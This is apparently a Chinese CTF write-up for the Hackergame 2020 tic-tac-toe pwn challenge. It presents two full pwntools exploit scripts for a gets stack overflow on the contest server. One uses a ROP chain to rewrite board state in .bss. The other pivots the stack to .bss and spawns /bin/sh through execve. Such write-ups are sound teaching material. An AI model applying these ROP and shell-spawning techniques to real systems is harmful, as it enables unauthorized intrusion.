Hackergame 2020 生活在博弈树上

这题刚进去让跟他下棋,我叭叭叭下半天,还研究半天算法,发现我根本赢不了它。扯淡。

这是一个跟他一样的井字棋网站
我让他俩对着下我都赢不了……

这是井字棋的算法分析 网上比较好的一篇

然后从二进制方向来看这道题

先检查保护

在这里插入图片描述
再拖进IDA

在这里插入图片描述
gets这里有个栈溢出,它有两个问题,热爱大地跟飞上天空,考虑两种不同的做法,一个赢游戏让它输出flag,一个自己拿到权限去找。

01 栈溢出修改棋子颜色

如小标题,因为棋子的情况存在bss段,通过栈溢出调用read函数对bss段进行一个任意写,改变棋子的颜色后返回主函数,再跟他玩,秒赢。

from pwn import*

#r = process("./tictactoe")
r = remote("202.38.93.111","10141")
context.log_level = "debug"
r.recvuntil("Please input your token: ")
r.sendline("tttttttoken")


pop_rdi = 0x4017b6
chess_addr = 0x4a8380
pop_rdx_rsi = 0x43fb99
read_addr = 0x43dba0
main_addr = 0x4022f4

payload = "(2,0)" + 'a' * (0x90 + 3) + p64(pop_rdx_rsi) + p64(1) + p64(chess_addr) + p64(pop_rdi) + p64(0) + p64(read_addr) + p64(main_addr)  
r.sendlineafter("Your turn. Input like (x,y), such as (0,1): ",payload)
r.sendlineafter("Your turn. Input like (x,y), such as (0,1): ","(2,1)")

r.recv()

payload = chr(2) + chr(2) + chr(2)  #这块不一定非要是我这样,根据程序调试时的运行写就行
r.sendline(payload)
r.sendlineafter("Your turn. Input like (x,y), such as (0,1): ","(2,2)")
r.recv()
r.interactive()

02 栈迁移

栈迁移科普链接

因为开了NX,不能在堆栈写shellcode,考虑bss
还是read函数,把栈迁移到bss,写上shellcode,调syscall就行。

from pwn import*
#r = process("./tictactoe")
r = remote("202.38.93.111","10141")
context.log_level = "debug"
r.recvuntil("Please input your token: ")

r.sendline("ttttttoken")

pop_rdi = 0x4017b6
bss_addr = 0x4a8500
pop_rdx_rsi = 0x43fb99
read_addr = 0x43dba0
leave_ret = 0x40203a
syscall_addr = 0x402bf4 
#这里插一句,syscall地址还是可以通过ROPgadget找 
#ROPgadget --binary tictactoe --only "syscall"
pop_rax = 0x43e52c

payload1 = "(2,2)" + 'a' * (0x90 - 5) + p64(bss_addr) + p64(pop_rdi) + p64(0) + p64(pop_rdx_rsi) + p64(0x70) + p64(bss_addr) + p64(read_addr) + p64(leave_ret)
#gdb.attach(r)
payload2 = "/bin/sh\x00" + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(bss_addr) + p64(pop_rdx_rsi) + p64(0) + p64(0) + p64(syscall_addr)
r.recvuntil("(0,1): ")
r.sendline("(1,0)")
r.recvuntil("(0,1): ")
r.sendline(payload1)
r.recv()
r.sendline(payload2)


r.interactive()

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值